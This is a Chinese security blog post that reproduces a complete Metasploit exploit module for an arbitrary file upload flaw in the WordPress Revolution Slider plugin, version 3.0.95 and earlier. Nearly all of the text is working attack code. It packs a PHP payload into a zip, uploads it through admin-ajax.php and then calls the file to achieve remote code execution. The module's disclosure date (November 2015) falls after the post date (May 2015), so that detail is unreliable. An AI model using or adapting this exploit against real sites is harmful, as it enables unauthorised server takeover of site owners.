WordPress RevSlider上传和执行漏洞

##
#This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name'           => 'Wordpress RevSlider File Upload and Execute Vulnerability',
'Description'    => %q{
This module exploits an arbitrary PHP code upload in the WordPress ThemePunch
Revolution Slider ( revslider ) plugin, version 3.0.95 and prior. The
vulnerability allows for arbitrary file upload and remote code execution.
},
'Author'         =>
[
'Simo Ben youssef', # Vulnerability discovery
'Tom Sellers <tom[at]fadedcode.net>'  # Metasploit module
],
'License'        => MSF_LICENSE,
'References'     =>
[
['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/'],
['EDB', '35385'],
['WPVDB', '7954'],
['OSVDB', '115118']
],
'Privileged'     => false,
'Platform'       => 'php',
'Arch'           => ARCH_PHP,
'Targets'        => [['ThemePunch Revolution Slider (revslider) 3.0.95', {}]],
'DisclosureDate' => 'Nov 26 2015',
'DefaultTarget'  => 0)
)
end

def check
release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt')
check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '3.0.96')
end

def exploit
php_pagename = rand_text_alpha(4 + rand(4)) + '.php'

# Build the zip
payload_zip = Rex::Zip::Archive.new
# If the filename in the zip is revslider.php it will be automatically
# executed but it will break the plugin and sometimes WordPress
payload_zip.add_file('revslider/' + php_pagename, payload.encoded)

# Build the POST body
data = Rex::MIME::Message.new
data.add_part('revslider_ajax_action', nil, nil, 'form-data; name="action"')
data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"')
data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"revslider.zip\"")
post_data = data.to_s

res = send_request_cgi(
'uri'     => wordpress_url_admin_ajax,
'method'  => 'POST',
'ctype'   => "multipart/form-data; boundary=#{data.bound}",
'data'    => post_data
)

if res
if res.code == 200 && res.body =~ /Update in progress/
# The payload itself almost never deleted, try anyway
register_files_for_cleanup(php_pagename)
# This normally works
register_files_for_cleanup('../revslider.zip')
final_uri = normalize_uri(wordpress_url_plugins, 'revslider', 'temp', 'update_extract', 'revslider', php_pagename)
print_good("#{peer} - Our payload is at: #{final_uri}")
print_status("#{peer} - Calling payload...")
send_request_cgi(
'uri'     => normalize_uri(final_uri),
'timeout' => 5
)

elsif res.code == 200 && res.body =~ /^0$/
# admin-ajax.php returns 0 if the 'action' 'revslider_ajax_action' is unknown
fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated")
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, 'ERROR')
end

end
end
[2015-05-09]#

本文固定链接: https://www.unhonker.com/bug/1727.html | 90' s Blog|关注网络信息安全

该日志由 unhonker 于2015年05月09日发表在 漏洞公布 分类下, 你可以发表评论,并在保留原文地址及作者的情况下引用到你的网站或博客。
原创文章转载请注明: WordPress RevSlider上传和执行漏洞 | 90' s Blog|关注网络信息安全
关键字:

WordPress RevSlider上传和执行漏洞:等您坐沙发呢!

发表评论

您必须 [ 登录 ] 才能发表留言!